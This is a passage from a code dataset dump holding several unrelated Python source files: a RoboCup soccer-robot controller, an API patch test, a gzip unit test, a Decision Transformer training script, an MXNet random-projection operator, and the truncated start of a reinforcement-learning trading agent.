self.RotateTo(math.radians(0), 5)\n else:\n if self.position.y < self.attackSpot.y + 0.07 and self.position.y > self.attackSpot.y - 0.07 and self.RotateTo(math.radians(0), 5):\n pass\n else:\n if self.position.x < self.ballPosition.x:\n if self.position.y < self.attackSpot.y:\n self.SetMotorVelocity(-10, -10 + (abs(self.position.y - self.attackSpot.y)) * 20)\n else:\n self.SetMotorVelocity(-10 + (abs(self.position.y - self.attackSpot.y)) * 20, -10)\n else:\n if self.position.y < self.attackSpot.y:\n self.SetMotorVelocity(10, 10 - (abs(self.position.y - self.attackSpot.y)) * 20)\n else:\n self.SetMotorVelocity(10 - (abs(self.position.y - self.attackSpot.y)) * 20, 10)\n else:\n self.GoToPosition(Vector2(self.position.x, self.attackSpot.y), 10)\n\n else:\n if self.position.y < self.attackSpot.y + 0.09 and self.position.y > self.attackSpot.y - 0.09:\n if self.rotation < math.radians(345) and self.rotation > math.radians(15):\n self.RotateTo(math.radians(0), 5)\n else:\n if self.position.y < self.attackSpot.y + 0.07 and self.position.y > self.attackSpot.y - 0.07 and self.RotateTo(math.radians(0), 5):\n pass\n else:\n if self.position.x < Clamp(self.ballPosition.x, -0.35, 0.35) :\n if self.position.y < self.attackSpot.y:\n self.SetMotorVelocity(-10, -10 + (abs(self.position.y - self.attackSpot.y)) * 20)\n else:\n self.SetMotorVelocity(-10 + (abs(self.position.y - self.attackSpot.y)) * 20, -10)\n else:\n if self.position.y < self.attackSpot.y:\n self.SetMotorVelocity(10, 10 - (abs(self.position.y - self.attackSpot.y)) * 20)\n else:\n self.SetMotorVelocity(10 - (abs(self.position.y - self.attackSpot.y)) * 20, 10)\n else:\n self.GoToPosition(Vector2(self.position.x, self.attackSpot.y), 10)\n else:\n # The ball is behind the goalkeeper\n self.GoToPosition(Vector2(self.ballPosition.x, 0.7 * self.polarity), 10)\n\n\n def Rotate(self, speed):\n # Reversed Positive numbers to be clockwise\n self.SetMotorVelocity(speed, -speed)\n\n def StopMotors(self):\n self.SetMotorVelocity(0, 0)\n\n def RotateTo(self, angle, speed) -> bool:\n # This function should be call in a loop\n # Returns True while rotating\n\n angleDifference = abs(math.degrees(self.rotation) - angle)\n\n if not (angleDifference >= 345 or angleDifference <= 15):\n if math.degrees(self.rotation) < angle:\n if abs(math.degrees(self.rotation) - angle) <= 180:\n self.Rotate(speed)\n else:\n self.Rotate(-speed)\n else:\n if abs(math.degrees(self.rotation) - angle) <= 180:\n self.Rotate(-speed)\n else:\n self.Rotate(speed)\n return True\n else:\n self.StopMotors()\n return False\n\n def GoToPosition(self, position: Vector2, speed) -> bool:\n # This function should be call in a loop\n # Returns True while moving\n\n positionDifference = self.position - position\n angle = math.degrees((self.position - position).GetAngle())\n\n if abs(positionDifference.x) >= 0.02 or abs(positionDifference.y) >= 0.02:\n if not (self.RotateTo(angle, speed)):\n self.GoForward(speed)\n return True\n else:\n self.StopMotors()\n return False\n\n def SetMotorVelocity(self, leftMotor: float, rightMotor: float):\n # Reverse Forward to be positive numbers\n self.left_motor.setVelocity(-leftMotor)\n self.right_motor.setVelocity(-rightMotor)\n\n def GoForward(self, speed):\n self.SetMotorVelocity(speed, speed)\n\n\"\"\"\nimport math\n\nimport utils\nfrom rcj_soccer_robot import RCJSoccerRobot, TIME_STEP\nfrom Mathematics.Vector2 import *\n\nGOALKEEPER_SPOT: Vector2 = Vector2(0, 0.5)\n\nclass MyRobot1(RCJSoccerRobot): \n def run(self):\n # START\n\n # UPDATE\n while self.robot.step(TIME_STEP) != -1:\n if self.is_new_data():\n if self.is_new_ball_data():\n ball_data = self.get_new_ball_data()\n ball_direction = Vector2(ball_data[\"direction\"][0], ball_data[\"direction\"][1])\n ball_angle = angle_between_vectors(Vector2.north, ball_direction)\n\n #print(math.sqrt(1 / ball_data[\"strength\"]))\n\n heading = self.get_compass_heading()\n\n angle = math.degrees(heading) + 270\n\n robot_data = self.get_gps_coordinates()\n robot_position: Vector2 = Vector2(robot_data[0], robot_data[1])\n robot_rotation = (math.degrees(heading) + 270) % 360\n\n\n\n goalkeeper_spot_angle = (angle_between_vectors(Vector2.north, (robot_position - GOALKEEPER_SPOT).Normalized()) + robot_rotation) % 360\n #print(goalkeeper_spot_angle)\n #print(utils.ball_position(ball_data, robot_data, heading)) \n #print(angle)\n\n print(math.degrees(heading))\n\n\n \n\ndef get_direction(ball_angle: float) -> int:\n if ball_angle >= 345 or ball_angle <= 15:\n return 0\n return -1 if ball_angle < 180 else 1\n\ndef angle_between_vectors(vector1: Vector2, vector2: Vector2) -> float:\n return (math.degrees(math.atan2(vector1.y, vector1.x)) - math.degrees(math.atan2(vector2.y, vector2.x)) + 360) % 360\n\n\n\n\n\n\n\n\n\n\n\n def run(self):\n timer: utils.Timer = utils.Timer()\n\n #self.left_motor.setVelocity(7.068)\n #self.right_motor.setVelocity(-7.068)\n\n # Update\n while self.robot.step(TIME_STEP) != -1:\n if self.is_new_data():\n \n # TODO: Get and do something with supervisor data\n #data = self.get_new_data()\n\n #while self.is_new_team_data():\n #team_data = self.get_new_team_data() # noqa: F841\n # Do something with team data\n\n\n # Get ball data\n if self.is_new_ball_data():\n ball_data = self.get_new_ball_data()\n else:\n # If the robot does not see the ball, stop motors\n print(\"Robot does not see the ball\")\n self.left_motor.setVelocity(0)\n self.right_motor.setVelocity(0)\n continue\n\n # Get data from compass\n heading = self.get_compass_heading() # noqa: F841\n\n # Get GPS coordinates of the robot\n robot_pos = self.get_gps_coordinates() # noqa: F841\n \n # Get data from sonars\n #sonar_values = self.get_sonar_values() # noqa: F841\n\n\n #print(math.degrees(math.atan(ball_data[\"direction\"][1] / ball_data[\"direction\"][0])))\n # print(ball_data[\"direction\"])\n\n angle = math.degrees(heading) + 270\n\n if angle > 360:\n angle -= 360\n\n # Set the speed to motors\n\n ballAngle = math.degrees(math.atan2(0, 1)) - math.degrees(math.atan2(ball_data[\"direction\"][1], ball_data[\"direction\"][0]))\n\n if ballAngle < 0:\n ballAngle += 360\n\n ballAngle += 360 - angle\n\n if ballAngle > 360:\n ballAngle -= 360\n\n ballAngle = 360 - ballAngle\n\n #print(1 / math.sqrt(ball_data[\"strength\"]))\n #print(angle)\n\n if angle > 85 and angle < 95:\n print(timer.GetTime())\n self.left_motor.setVelocity(0)\n self.right_motor.setVelocity(0)\n return\n\n elif timer.GetTime() > 4:\n self.left_motor.setVelocity(2.5)\n self.right_motor.setVelocity(2.5)\n\n\n # Send message to team robots\n self.send_data_to_team(self.player_id)\n \"\"\"\n ","repo_name":"robocup-junior/rcj-2022-soccersim-code","sub_path":"004/rcj_soccer_team_blue/robot1.py","file_name":"robot1.py","file_ext":"py","file_size_in_byte":11544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24971453743","text":"import json\nfrom pyassert import *\n\nfrom utils.http_manager import HttpManager\n\n\nclass PatchTests:\n\n def test_partial_update_booking(self, existing_booking_url, test_data):\n \"\"\"\n Checks whether partial update properly updates booking data\n \"\"\"\n data = test_data('test_data/partial_update_booking.json')\n response = HttpManager.patch(existing_booking_url, data=data)\n assert_that(response.status_code).is_equal_to(200)\n assert_that(response.json()['firstname']).is_equal_to(json.loads(data)['firstname'])\n assert_that(response.json()['lastname']).is_equal_to(json.loads(data)['lastname'])\n ","repo_name":"olakowalczyk/PythonAPIAutomationTesting","sub_path":"tests/test_PartialUpdateBooking.py","file_name":"test_PartialUpdateBooking.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13483348813","text":"import gzip\n\nfrom stream.functions.bytes import un_gzip\nfrom stream.io.local import LocalFile\n\n\ndef test_un_gzip(tmpdir):\n file = str(tmpdir / '0.txt.gz')\n with gzip.open(file, mode='wb') as f:\n f.write(b\"\"\"#123\n\n456\n\"\"\")\n\n assert tuple(\n LocalFile(file, mode='rb').stream\n | un_gzip\n ) == (\n b'#123\\n',\n b'\\n',\n b'456\\n',\n )\n","repo_name":"MichaelKim0407/python-stream","sub_path":"tests/functions/test_unzip.py","file_name":"test_unzip.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"29183883452","text":"#! /usr/bin/enc python\n# -*- coding: utf-8 -*-\n# author: Irving He \n# email: 1910646@tongji.edu.cn\n\n\"\"\"Main入口For Decision Transformer\"\"\"\nimport gym\nimport numpy as np\nimport torch\n\n# Tensorboard\nfrom tensorboardX import SummaryWriter\n\n# 读offline .pkl dataset\nimport pickle\nimport random\nimport sys\n\n# DT\nfrom model import DecisionTransformer\nfrom train import SequenceTrainer\nfrom eval import evaluate_episode_rtg\n\n# %行为克隆\nfrom model import MLPBCModel\nfrom train import ActTrainer\nfrom eval import evaluate_episode\n\nfrom utils import discount_cumsum,model_save,load_model\n\nimport datetime\n\n# 参数1 - Decision-Transformer for Mujoco Gym\nclass Config:\n env = \"hopper\"\n dataset = \"medium\"\n mode = \"normal\" # \"delayed\" : all rewards moved to end of trajectory\n device = 'cuda'\n log_dir = 'TB_log/'\n record_algo = 'DT_Hopper_v1'\n test_cycles = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')\n\n # 模型\n model_type = \"DT\"\n activation_function = 'relu'\n\n # Scalar\n max_length = 20 # max_len # K\n pct_traj = 1.\n batch_size = 64\n embed_dim = 128\n n_layer = 3\n n_head = 1\n dropout = 0.1\n lr = 1e-4\n wd = 1e-4\n # warmup_steps = 1000\n warmup_steps=10\n # num_eval_episodes = 100\n num_eval_episodes = 10\n max_iters = 50\n # num_steps_per_iter = 1000\n num_steps_per_iter = 10\n\n # Bool\n log_to_tb = True\n\ndef main_dt(args=Config()):\n\n device = args.device\n if args.log_to_tb:\n writer = SummaryWriter(logdir=args.log_dir + args.record_algo + '_'+args.test_cycles)\n print(\"建立TB文件夹结束\")\n\n env_name = args.env\n dataset = args.dataset\n\n dataset_path = f'{env_name}-{dataset}-v2.pkl'\n print(\"===== Dataset Path: {} =====\".format(dataset_path))\n\n # 以Hopper作为Test Benchmark\n if env_name == \"hopper\":\n env = gym.make(\"Hopper-v3\")\n print(\"成功装载环境!\")\n state_dim = env.observation_space.shape[0]\n action_dim = env.action_space.shape[0]\n print(\"Observation Space:\", env.observation_space, \"|| Dims: \", state_dim)\n print(\"Action Space:\",env.action_space, \"|| Dims: \", action_dim)\n max_ep_len = 1000\n\n env_targets = [3600, 1800] # 预设的期望奖励值\n\n print(env_targets[:1])\n scale = 1000. # 回报Scale Coeff.\n else:\n raise NotImplementedError\n\n # if args.model_type == 'BC': # 行为克隆算法模型\n env_targets = env_targets[:1] # since BC ignores target, no need for different evaluations\n\n # 数据集读取\n with open(dataset_path, 'rb') as f:\n trajectories = pickle.load(f)\n print(\"数据读取完毕... ...\")\n\n # 将path info分别保存在对应的List内\n mode = args.mode\n states, traj_lens, returns = [], [], []\n for path in trajectories:\n if mode == 'delayed': # 此时回报移动到轨迹的最后\n \"\"\"Delayed版本用于评估稀疏奖励下的算法表现\n 前期没有任何Reward Signal,只有最后才会拿到一个总体的Reward. \n \"\"\"\n path['rewards'][-1] = path['rewards'].sum()\n path['rewards'][:-1] = 0.\n\n states.append(path['observations']) # path['obs'] Dim: (XXX, state_dim) XXX: traj_len(每一个Traj的timesteps)\n traj_lens.append(len(path['observations'])) # path['rw'] Dim: (XXX, )\n returns.append(path['rewards'].sum()) # Returns 累计奖励----回报\n\n # Traj Lens Dims: (2186, )\n # Returns Lens Dims: (2186,)\n # 最大回报: 3222.36\n # 最小回报: 315.87\n traj_lens, returns = np.array(traj_lens), np.array(returns)\n\n # 输入正则化(State)\n states = np.concatenate(states, axis=0)\n state_mean, state_std = np.mean(states, axis=0), np.std(states, axis=0) + 1e-6\n\n # num_timesteps:总共所有path的tp数之和\n num_timesteps = sum(traj_lens)\n\n print('=' * 50)\n print(f'Starting new experiment: {env_name} {dataset}')\n print(f'{len(traj_lens)} trajectories, {num_timesteps} timesteps found')\n print(f'Average return: {np.mean(returns):.2f}, std: {np.std(returns):.2f}')\n print(f'Max return: {np.max(returns):.2f}, min: {np.min(returns):.2f}')\n print('=' * 50)\n\n K = args.max_length\n batch_size = args.batch_size\n num_eval_episodes = args.num_eval_episodes\n pct_traj = args.pct_traj\n\n # 对于行为克隆,只在Top bct_traj 轨迹进行Train (For %BC Experiment)\n num_timesteps = max(int(pct_traj*num_timesteps), 1)\n sorted_inds = np.argsort(returns) # low-to-high 排序\n num_trajectories = 1\n # 拿到分最高的那个traj的tp数\n timesteps = traj_lens[sorted_inds[-1]]\n ind = len(trajectories) - 2\n while ind >= 0 and timesteps + traj_lens[sorted_inds[ind]] < num_timesteps:\n timesteps += traj_lens[sorted_inds[ind]]\n num_trajectories += 1\n ind -= 1 # 按照Return从高到低\n\n # 输出是除了最小的Return之外的索引列表\n sorted_inds = sorted_inds[-num_trajectories:]\n\n # Reweight Sampling\n # 根据timesteps的长度的相对比重来进行sample\n p_sample = traj_lens[sorted_inds] / sum(traj_lens[sorted_inds])\n\n def get_batch(batch_size=256, max_len=K):\n batch_inds = np.random.choice(\n np.arange(num_trajectories),\n size = batch_size,\n replace = True,\n p = p_sample, #依据timesteps采样\n )\n\n s, a, r, d, rtg, timesteps, mask = [], [], [], [], [], [], []\n for i in range(batch_size):\n traj = trajectories[int(sorted_inds[batch_inds[i]])]\n\n si = random.randint(0,traj['rewards'].shape[0] - 1) # 采样位置\n\n # debug\n # print(\"Start sampling position: \", si)\n\n # get sequences from dataset\n # s\n # print(traj['observations'][si:si + max_len].reshape(1, -1, state_dim).shape) # shape: 1, 20, 11\n s.append(traj['observations'][si:si + max_len].reshape(1, -1, state_dim)) # 1, XXX ,state_dim\n\n # a\n # print(traj['actions'][si:si + max_len].reshape(1, -1, action_dim).shape) # 1, 20, 3\n a.append(traj['actions'][si:si + max_len].reshape(1, -1, action_dim))\n\n # r\n r.append(traj['rewards'][si:si + max_len].reshape(1, -1, 1)) # append(Dims: 1,20, 1)\n if 'terminals' in traj:\n d.append(traj['terminals'][si:si + max_len].reshape(1, -1))\n else:\n d.append(traj['dones'][si:si + max_len].reshape(1, -1))\n\n # timesteps\n timesteps.append(np.arange(si, si + s[-1].shape[1]).reshape(1, -1)) # Append Dim: (1,20,1)\n # 检查是否有tps数量大于max_ep_len的情况 (max_ep_len=1000) 若有,按照max_ep_len-1来padding\n timesteps[-1][timesteps[-1] >= max_ep_len] = max_ep_len-1 # padding cutoff\n # Return-to-go\n ret = discount_cumsum(traj['rewards'][si:],gamma=1.)\n # ret = ret[:s[-1].shape[1]+1].reshape(1,-1,1)\n ret = ret[:s[-1].shape[1]].reshape(1, -1, 1)\n rtg.append(ret) # Append(1,21,1) 是21>max_len\n\n if rtg[-1].shape[1] <= s[-1].shape[1]: # 21 & 20\n rtg[-1] = np.concatenate([rtg[-1], np.zeros((1, 1, 1))], axis=1)\n\n # padding and state + reward normalization\n tlen = s[-1].shape[1]\n # print(\"timestep len: \", tlen) # 20\n s[-1] = np.concatenate([np.zeros((1, max_len - tlen, state_dim)), s[-1]], axis=1)\n s[-1] = (s[-1] - state_mean) / state_std\n a[-1] = np.concatenate([np.ones((1, max_len - tlen, action_dim)) * -10., a[-1]], axis=1)\n r[-1] = np.concatenate([np.zeros((1, max_len - tlen, 1)), r[-1]], axis=1)\n d[-1] = np.concatenate([np.ones((1, max_len - tlen)) * 2, d[-1]], axis=1)\n rtg[-1] = np.concatenate([np.zeros((1, max_len - tlen, 1)), rtg[-1]], axis=1) / scale\n # print(\"Return-to-go:\",rtg[-1].shape)\n\n timesteps[-1] = np.concatenate([np.zeros((1, max_len - tlen)), timesteps[-1]], axis=1)\n\n mask.append(np.concatenate([np.zeros((1, max_len - tlen)), np.ones((1, tlen))], axis=1))\n\n s = torch.from_numpy(np.concatenate(s, axis=0)).to(dtype=torch.float32, device=device)\n a = torch.from_numpy(np.concatenate(a, axis=0)).to(dtype=torch.float32, device=device)\n r = torch.from_numpy(np.concatenate(r, axis=0)).to(dtype=torch.float32, device=device)\n d = torch.from_numpy(np.concatenate(d, axis=0)).to(dtype=torch.long, device=device)\n rtg = torch.from_numpy(np.concatenate(rtg, axis=0)).to(dtype=torch.float32, device=device)\n timesteps = torch.from_numpy(np.concatenate(timesteps, axis=0)).to(dtype=torch.long, device=device)\n mask = torch.from_numpy(np.concatenate(mask, axis=0)).to(device=device)\n\n # debug\n # print(\"=\"*40)\n # print(\"Dim s:\", s.shape) # BS,20(max_len),1\n # print(\"Dim a:\", a.shape)\n # print(\"Dim r:\", r.shape)\n # print(\"Dim d:\", d.shape)\n # print(\"Dim rtg:\", rtg.shape) # BS,21(max_len+1),1\n # print(\"Dim timesteps:\", timesteps.shape)\n # print(\"Dim mask:\", mask.shape)\n # print(\"=\" * 40)\n\n return s,a,r,d,rtg,timesteps,mask\n\n def eval_episodes(target_rew,log_tb=args.log_to_tb):\n def fn(model,log_tb=log_tb):\n returns, lengths = [], []\n for _ in range(num_eval_episodes):\n with torch.no_grad():\n if args.model_type == 'DT':\n ret, length = evaluate_episode_rtg(\n env,\n state_dim,\n action_dim,\n model,\n max_ep_len=max_ep_len,\n scale=scale,\n target_return=target_rew/scale,\n mode=mode,\n state_mean=state_mean,\n state_std=state_std,\n device=device,\n )\n else:\n ret, length = evaluate_episode(\n env,\n state_dim,\n action_dim,\n model,\n max_ep_len=max_ep_len,\n target_return=target_rew/scale,\n mode=mode,\n state_mean=state_mean,\n state_std=state_std,\n device=device,\n )\n returns.append(ret)\n lengths.append(length)\n\n mean_returns = np.mean(returns)\n mean_tplen = np.mean(lengths)\n\n if log_tb:\n return {\n f'target_{target_rew}_return_mean': np.mean(returns),\n f'target_{target_rew}_return_std': np.std(returns),\n f'target_{target_rew}_length_mean': np.mean(lengths),\n f'target_{target_rew}_length_std': np.std(lengths),\n }, mean_tplen, mean_returns\n else:\n return {\n f'target_{target_rew}_return_mean': np.mean(returns),\n f'target_{target_rew}_return_std': np.std(returns),\n f'target_{target_rew}_length_mean': np.mean(lengths),\n f'target_{target_rew}_length_std': np.std(lengths),\n }\n\n return fn\n\n if args.model_type == 'DT':\n model = DecisionTransformer(\n state_dim=state_dim,\n act_dim=action_dim,\n max_length=K,\n max_ep_len=max_ep_len,\n hidden_size=args.embed_dim,\n n_layer=args.n_layer,\n n_head=args.n_head,\n n_inner=4*args.embed_dim,\n activation_function=args.activation_function,\n n_positions=1024,\n resid_pdrop=args.dropout,\n attn_pdrop=args.dropout,\n )\n elif args.model_type == 'BC':\n model = MLPBCModel(\n state_dim=state_dim,\n act_dim=action_dim,\n max_length=K,\n hidden_size=args.embed_dim,\n n_layer=args.n_layer,\n )\n else:\n raise NotImplementedError\n\n # To Cuda\n model = model.to(device)\n\n # Warmup stage\n warmup_steps = args.warmup_steps\n\n # Optim\n optimizer = torch.optim.Adam(\n model.parameters(),\n lr=args.lr,\n weight_decay=args.wd,\n )\n\n # Scheduler学习率优化\n scheduler = torch.optim.lr_scheduler.LambdaLR(\n optimizer,\n lambda steps: min((steps+1)/warmup_steps, 1)\n )\n\n # Trainer 选择\n if args.model_type == 'DT':\n trainer = SequenceTrainer(\n model = model,\n optimizer = optimizer,\n batch_size = batch_size,\n get_batch = get_batch,\n scheduler = scheduler,\n loss_fn = lambda s_hat, a_hat, r_hat, s, a, r: torch.mean((a_hat - a)**2),\n # eval_target第一个期望return-to-go\n eval_fns=[eval_episodes(tar) for tar in env_targets],\n )\n\n elif args.model_type == 'BC':\n trainer = ActTrainer(\n model=model,\n optimizer=optimizer,\n batch_size=batch_size,\n get_batch=get_batch,\n scheduler=scheduler,\n loss_fn=lambda s_hat, a_hat, r_hat, s, a, r: torch.mean((a_hat - a)**2),\n eval_fns=[eval_episodes(tar) for tar in env_targets],\n )\n\n for iter in range(args.max_iters):\n if args.log_to_tb:\n output,mean_ret,mean_len = trainer.train_iteration(\n num_steps = args.num_steps_per_iter,\n iter_num = iter+1,\n print_logs = True,\n TB_log = args.log_to_tb\n )\n # tb writer\n writer.add_scalar(tag='DT/mean_return',global_step=iter,scalar_value=mean_ret)\n writer.add_scalar(tag='DT/mean_len', global_step=iter, scalar_value=mean_len)\n writer.add_scalar(tag='DT/mean_mse_a',global_step=iter, scalar_value=output['training/train_loss_mean'])\n writer.add_scalar(tag='DT/std_mse_a', global_step=iter, scalar_value=output['training/train_loss_std'])\n # print(\"成功写入!\")\n\n model_save(args.record_algo+args.test_cycles,model)\n\n\n else:\n output = trainer.train_iteration(\n num_steps = args.num_steps_per_iter,\n iter_num = iter+1,\n print_logs = True,\n TB_log = args.log_to_tb\n )\n\n\n\nif __name__ == \"__main__\":\n DTargs = Config()\n main_dt(args=DTargs)\n\n # rewards = np.array([1,2,3,4,5])\n # print(rewards.sum())\n #\n # # 读取数据可视化\n # dataset_path = 'hopper-medium-v2.pkl'\n # with open(dataset_path, 'rb') as f:\n # trajectories = pickle.load(f)\n # print(\"数据读取完毕... ...\")\n #\n # returns = []\n # for path in trajectories:\n # print(path['observations'].shape)\n # print(path['rewards'].shape)\n # returns.append(path['rewards'].sum())\n #\n # print(np.array(returns).shape)\n\n # Reward排序\n # returns = np.array([12,333,445,6,789,991,23,76])\n # traj_lens = np.array([7,8,9,20,15,12,16,17])\n # sorted_inds = np.argsort(returns)\n # print(sorted_inds) # [3 0 6 7 1 2 4 5] #对应回报最大的索引排序...\n # num_traj = 1\n # # 最大Return对应的tp数\n # timesteps = traj_lens[sorted_inds[-1]] # 12 991\n # print(timesteps) # 12个tps获得991的累计return\n #\n # num_trajectories = 1\n #\n # len_trajs = len(returns)\n #\n # ind = len_trajs - 2\n #\n # num_timesteps = traj_lens.sum()\n #\n # while ind >= 0 and timesteps + traj_lens[sorted_inds[ind]] < num_timesteps:\n # timesteps += traj_lens[sorted_inds[ind]]\n # num_trajectories += 1\n # ind -= 1\n #\n # # 输出是除了最小的Return之外的索引列表\n # sorted_inds = sorted_inds[-num_trajectories:]\n # print(sorted_inds)\n\n\n\n","repo_name":"HzcIrving/DLRL-PlayGround","sub_path":"Offline RL/DT/DT_main.py","file_name":"DT_main.py","file_ext":"py","file_size_in_byte":16153,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"37"} +{"seq_id":"720910215","text":"import os\nimport numpy as np\nimport mxnet as mx\n\n\n# ref: http://mxnet.io/how_to/new_op.html\n\nclass RandomBagOfWordsProjection(mx.operator.CustomOp):\n \"\"\"Random projection layer for sparse bag-of-words (n-hot) inputs.\n In the sparse input, only the indices are supplied, because all the\n values are understood to be exactly 1.0.\n\n See also RandomProjection for values other than 1.0.\n \"\"\"\n\n def __init__(self, vocab_size, output_dim, random_seed=54321):\n # need_top_grad=True means this is not a loss layer\n super(RandomBagOfWordsProjection, self).__init__()\n self._vocab = vocab_size\n self._proj_dim = output_dim\n #NOTE: This naive implementation is slow and uses lots of memory.\n # Should use something smarter to not instantiate this matrix.\n rs = np.random.RandomState(seed=random_seed)\n self.W = self.random_unit_vecs(self._vocab, self._proj_dim, rs)\n\n def random_unit_vecs(self, num_vecs, num_dims, rs):\n W = rs.normal(size=(num_vecs, num_dims))\n Wlen = np.linalg.norm(W, axis=1)\n W_unit = W / Wlen[:,None]\n return W_unit\n\n def _get_mask(self, idx, in_data):\n \"\"\"Returns the mask by which to multiply the parts of the embedding layer.\n In this version, we have no weights to apply.\n \"\"\"\n mask = idx >= 0 # bool False for -1 values that should be removed. shape=(b,mnz)\n mask = np.expand_dims(mask,2) # shape = (b,mnz,1)\n mask = np.repeat(mask, self._proj_dim, axis=2) # shape = (b,mnz,d)\n return mask\n\n def forward(self, is_train, req, in_data, out_data, aux):\n #Note: see this run in notebooks/howto-numpy-random-proj.ipynb\n # Notation for shapes: b = batch_size, mnz = max_nonzero, d = proj_dim\n idx = in_data[0].asnumpy().astype('int32') # shape=(b,mnz)\n\n wd = self.W[idx] # shape= (b,mnz,d)\n mask = self._get_mask(idx, in_data)\n wd = np.multiply(wd,mask) # shape=(b,mnz,d), but zero'd out non-masked\n y = np.sum(wd,axis=1) # shape=(b,d)\n mxy = mx.nd.array(y) #NOTE: this hangs if the environment variables aren't set correctly\n # See https://github.com/dmlc/mxnet/issues/3813\n self.assign(out_data[0], req[0], mxy)\n\n\n@mx.operator.register(\"SparseBOWProj\")\nclass RandomBagOfWordsProjectionProp(mx.operator.CustomOpProp):\n def __init__(self, vocab_size, output_dim):\n # need_top_grad=True means this is not a loss layer\n super(RandomBagOfWordsProjectionProp, self).__init__(need_top_grad=True)\n self._kwargs = {\n 'vocab_size': int(vocab_size),\n 'output_dim': int(output_dim),\n }\n\n def list_arguments(self):\n return ['indexes']\n\n def list_outputs(self):\n return ['output']\n\n def create_operator(self, ctx, shapes, dtypes, **kwargs):\n return RandomBagOfWordsProjection(**self._kwargs)\n\n def infer_shape(self, in_shape):\n batch_size = in_shape[0][0]\n output_shape = (batch_size, self._kwargs['output_dim'])\n return in_shape, [output_shape], []\n\n\nclass SparseRandomProjection(RandomBagOfWordsProjection):\n \"\"\"Random projection of sparse input vector.\n Takes an sparse input layer, effectively in coordinate (COO) format,\n where the row number is implicit, because it's the minibatch record.\n\n See the simpler version RandomBagOfWordsProjection if all values are 1.0.\n \"\"\"\n\n def _get_mask(self, idx, in_data):\n \"\"\"Returns the mask by which to multiply the parts of the embedding layer.\n In this version, we apply the weights.\n \"\"\"\n val = in_data[1].asnumpy() # shape=(b,mnz)\n mask = idx >= 0 # bool False for -1 values that should be removed. shape=(b,mnz)\n mask = np.multiply(mask,val) # All (b,mnz)\n mask = np.expand_dims(mask,2) # shape = (b,mnz,1)\n mask = np.repeat(mask, self._proj_dim, axis=2) # shape = (b,mnz,d)\n return mask\n\n\n@mx.operator.register(\"SparseRandomProjection\")\nclass SparseRandomProjectionProp(RandomBagOfWordsProjectionProp):\n\n def list_arguments(self):\n return ['indexes', 'values']\n\n def create_operator(self, ctx, shapes, dtypes, **kwargs):\n return SparseRandomProjection(**self._kwargs)\n\n def infer_shape(self, in_shape):\n # check that indexes and values are the same shape.\n if in_shape[0] != in_shape[1]:\n raise ValueError(\"Input shapes differ. indexes:%s. values:%s. must be same\"\n % (str(in_shape[0]),str(in_shape[1])))\n return super(SparseRandomProjectionProp,self).infer_shape(in_shape)\n\n\nif __name__ == \"__main__\":\n print(\"Simple test of proj layer\")\n data = mx.symbol.Variable('data')\n vals = mx.symbol.Variable('vals')\n net = mx.symbol.Custom(indexes=data, values=vals, name='rproj',\n op_type='SparseRandomProjection',\n vocab_size=999, output_dim=29)\n d = mx.nd.zeros(shape=(3,100))\n v = mx.nd.ones(shape=(3,100))\n e = net.bind(ctx=mx.cpu(), args={'data':d, 'vals':v})\n e.forward()\n print(e.outputs[0].asnumpy())\n print(\"Done with proj layer test\")\n\n","repo_name":"hpi-xnor/BMXNet","sub_path":"example/recommenders/randomproj.py","file_name":"randomproj.py","file_ext":"py","file_size_in_byte":5140,"program_lang":"python","lang":"en","doc_type":"code","stars":347,"dataset":"github-code","pt":"37"} +{"seq_id":"23112203745","text":"import os\nimport socket\nimport time\nimport csv\nimport random\nimport numpy as np\nfrom collections import deque\n\nfrom pedlar.agent import Agent\nfrom rl_ml import DeepQNN\n\nHOST = '127.0.0.1'\nPORT = 65430\n\nclass RLAgent(Agent):\n name = \"RL_Agent\"\n def __init__(self,\n file_length=None,\n verbose=False, ## prints key info\n visualise=False, ## visualising with bokeh\n verbose_ticks=False, ## prints ticks\n debug=False, ## prints network actions at each step\n write=False, ## exports results to an output csv\n train=True, ## trains model, false uses current weights\n load_model=False,## loads pretrained model\n **kwargs):\n \"\"\" Initialises the agent \"\"\"\n \n self.constants = {'name': RLAgent.name,\n 'diff_step': 20,\n 'action_size': 4, ## buy, sell, cancel, do nothing\n 'mid': 100, 'mid_ma': 2000,\n 'memory': 1000, 'order_memory': 1000, \n 'verbose': verbose, 'visualise': visualise,\n 'verbose_ticks': verbose_ticks, 'debug': debug,\n 'write': write, 'train': train, 'load_model': load_model,\n 'backtest_file_length': file_length}\n \n if self.constants['write']:\n open('data/orders.csv', 'w').close()\n \n if self.constants['visualise']:\n msg = '0.0,0.0,0.0,0.0,0.0'\n self.send_to_socket(msg)\n \n ## Buffers\n self.mid_buffer = deque(maxlen=self.constants['mid'])\n self.mid_ma_buffer = deque(maxlen=self.constants['mid_ma'])\n self.ma_diff_buffer = self._get_max_ma()\n \n ## Variables\n \"\"\" Values change during training \"\"\"\n self.tick_number = 0\n self.hold = 100\n self.balance = 0\n self.order_num = 0\n self.last_order = -1\n self.order_dir = None\n self.order_length = 0\n self.mid = None\n self.bid_diff, self.ask_diff = None, None\n self.spread, self.diff = None, None\n self.last_bid, self.last_ask = None, None\n self.max_drawdown, self.max_upside = None, None\n \n self.constants['inst_state_size'] = len(self.get_inst_inputs())\n self.constants['ma_diff_buffer_size'] = self.ma_diff_buffer.shape[0]\n \n ## Load parent classes\n Agent.__init__(self, **kwargs)\n \n self.DQ = DeepQNN(self.constants)\n \n \n \n def on_tick(self, bid, ask):\n \"\"\" \n On tick handler\n Returns: None\n \"\"\"\n self.update_backtest_status()\n self.update_bid_ask_mid_spread(bid, ask)\n \n self.order_dir, self.diff = 0, 0 ## Order_dir and order diff reset (If in order then updated)\n if self.last_bid is None:\n self.last_bid, self.last_ask = self.bid, self.ask\n return\n self.bid_diff, self.ask_diff = self.bid-self.last_bid, self.ask-self.last_ask ## Gets bid,ask change since last tick\n self.last_bid, self.last_ask = self.bid, self.ask\n \n self.mid_buffer.append(self.mid) \n mid_ma = np.mean(np.array(self.mid_buffer))\n self.mid_ma_buffer.append(mid_ma)\n self.update_ma_diff_buffer() ## Updates the moving average difference buffer\n 